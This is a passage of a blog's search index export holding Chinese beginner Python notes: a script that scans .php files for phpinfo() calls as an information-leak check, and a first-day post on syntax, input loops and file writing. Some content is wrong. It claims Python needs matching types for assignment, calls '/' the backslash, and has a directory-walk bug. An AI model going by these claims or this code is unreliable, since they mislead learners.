class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">list_all_file</span>(<span class="hljs-params">path</span>):</span><br>  result = []<br>  a = os.listdir(path)<br>  <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> a:<br>     <span class="hljs-keyword">if</span> os.path.isdir(i):<br>      e = os.path.join(path,i)<br>      result.extend(list_all_file(e))<br>     <span class="hljs-keyword">else</span>:<br>       e = os.path.join(path,i)<br>       result.append(e)<br>  <span class="hljs-keyword">return</span> result<br><br>a = list_all_file(path=<span class="hljs-string">r&#x27;.&#x27;</span>)<br>b = [i <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> a <span class="hljs-keyword">if</span> i. endswith(<span class="hljs-string">&#x27;.php&#x27;</span>)]<br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> b:<br>    f = <span class="hljs-built_in">open</span>(i)<br>    u = f.read()<br>    auditinfo = re.search(<span class="hljs-string">r&quot;phpinfo\(\)&quot;</span>,u,re.I)<br>    <span class="hljs-keyword">if</span> auditinfo:<br>      <span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;存在phpinfo信息泄露漏洞！文件：&#x27;</span> +i, <span class="hljs-string">&#x27;第行：&#x27;</span> + auditinfo.group(<span class="hljs-number">0</span>))<br>    f.close()<br></code></pre></div></td></tr></table></figure><p>效果图：<br><img src="/images/19/4.png"></p><h3 id="三、调试"><a href="#三、调试" class="headerlink" title="三、调试"></a>三、调试</h3><p><img src="/images/19/5.png"></p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>关于以下函数不太熟练</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">path<br>result<br>extend<br>append<br>endswith<br></code></pre></div></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>python</category>
      
    </categories>
    
    
    <tags>
      
      <tag>python</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>python学习笔记day 1</title>
    <link href="/2018/11/10/18/"/>
    <url>/2018/11/10/18/</url>
    
    <content type="html"><![CDATA[<h1 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h1><p>一、python的基本语法<br>二、安装pycharm<br>三、第一个python程序</p><h2 id="一、python的基本语法"><a href="#一、python的基本语法" class="headerlink" title="一、python的基本语法"></a>一、python的基本语法</h2><p>1、赋值的时候值类型要跟变量类型一样，比如<code>name = 12345</code>，name是字符型，值是整数型，整数型要加引号变成字符型才可以赋值；<br>2、缩进后的代码为代码块(默认缩进4字符)，比如:</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-keyword">while</span> pwd != <span class="hljs-string">&#x27;1&#x27;</span>:<br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;密码错误！请重新输入&#x27;</span>)<br>    name = <span class="hljs-built_in">input</span>(<span class="hljs-string">&#x27;please input your password:&#x27;</span>)<br>    pwd = name<br><span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;登录成功&#x27;</span>)<br></code></pre></div></td></tr></table></figure><p>3.循环语句不等于条件，先错后对，在错的后面可以重复执行，如上<br>4.input的使用：<code>input()</code>、调用第三方的使用：<code>import *</code>，模块的使用<br>5.文件的读写<code>f = open()、f.read()、f.close()</code><br>6.转义常用符：原始字符：r、反斜杠：/，其他转义符：<br><img src="/images/18/1.png"></p><h2 id="二、安装pycharm"><a href="#二、安装pycharm" class="headerlink" title="二、安装pycharm"></a>二、安装pycharm</h2><p>默认安装</p><h2 id="三、第一个python程序"><a href="#三、第一个python程序" class="headerlink" title="三、第一个python程序"></a>三、第一个python程序</h2><p>新建text.py，输入代码：</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-comment"># -*- coding:utf-8 -*- #声明编码</span><br>name = <span class="hljs-built_in">input</span>(<span class="hljs-string">&#x27;please input your password:&#x27;</span>) <span class="hljs-comment">#输入内容，把内容赋值给name</span><br>pwd = name <span class="hljs-comment">#把name的值给pwd</span><br><span class="hljs-keyword">while</span> pwd != <span class="hljs-string">&#x27;1&#x27;</span>: <span class="hljs-comment">#循环条件开始，判断pwd如果不等于1</span><br>    <span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;密码错误！请重新输入&#x27;</span>) <span class="hljs-comment">#错误提示</span><br>    name = <span class="hljs-built_in">input</span>(<span class="hljs-string">&#x27;please input your password:&#x27;</span>) <span class="hljs-comment">#重新输入</span><br>    pwd = name <span class="hljs-comment">#把name的值给pwd，重新判断</span><br><span class="hljs-built_in">print</span>(<span class="hljs-string">&#x27;登录成功&#x27;</span>) <span class="hljs-comment">#成功信息</span><br><span class="hljs-keyword">import</span> test2 <span class="hljs-comment">#导入test.py</span><br>新建test2.py，写入代码：<br><span class="hljs-comment"># -*- coding:utf-8 -*- #声明编码</span><br><span class="hljs-keyword">import</span> os,sys <span class="hljs-comment">#导入系统库</span><br><span class="hljs-keyword">import</span> webbrowser <span class="hljs-comment">#导入浏览器库</span><br>n = <span class="hljs-string">&#x27;123&#x27;</span> <span class="hljs-comment">#把123赋值给n</span><br>f = <span class="hljs-built_in">open</span>(<span class="hljs-string">&quot;help.txt&quot;</span>, <span class="hljs-string">&quot;r+&quot;</span>) <span class="hljs-comment">#打开help.txt，给读写权限</span><br>f.write(n) <span class="hljs-comment">#写入123</span><br>f.close() <span class="hljs-comment">#关闭文件</span><br></code></pre></div></td></tr></table></figure><p><img src="/images/18/2.png"><br>运行结果：<br><img src="/images/18/3.png"></p><h1 id="第一天总结"><a href="#第一天总结" class="headerlink" title="第一天总结"></a>第一天总结</h1><p>1.记得编码<br>2.记得赋值跟变量类型要一样<br>3.记得区分大小写<br>4.记得不要用word跟txt写代码<br>5.读写文件时记得一定要close()<br>6.命令行可以一句一句的调试，但是不能保存<br>7.转义符r在第一个引号的前面 </p>]]></content>
    
    
    <categories>
      
      <category>python</category>
      
    </categories>
    
    
    <tags>
      
      <tag>python</tag>
      
    </tags>
    
  </entry>
  
  
  
  
</search>
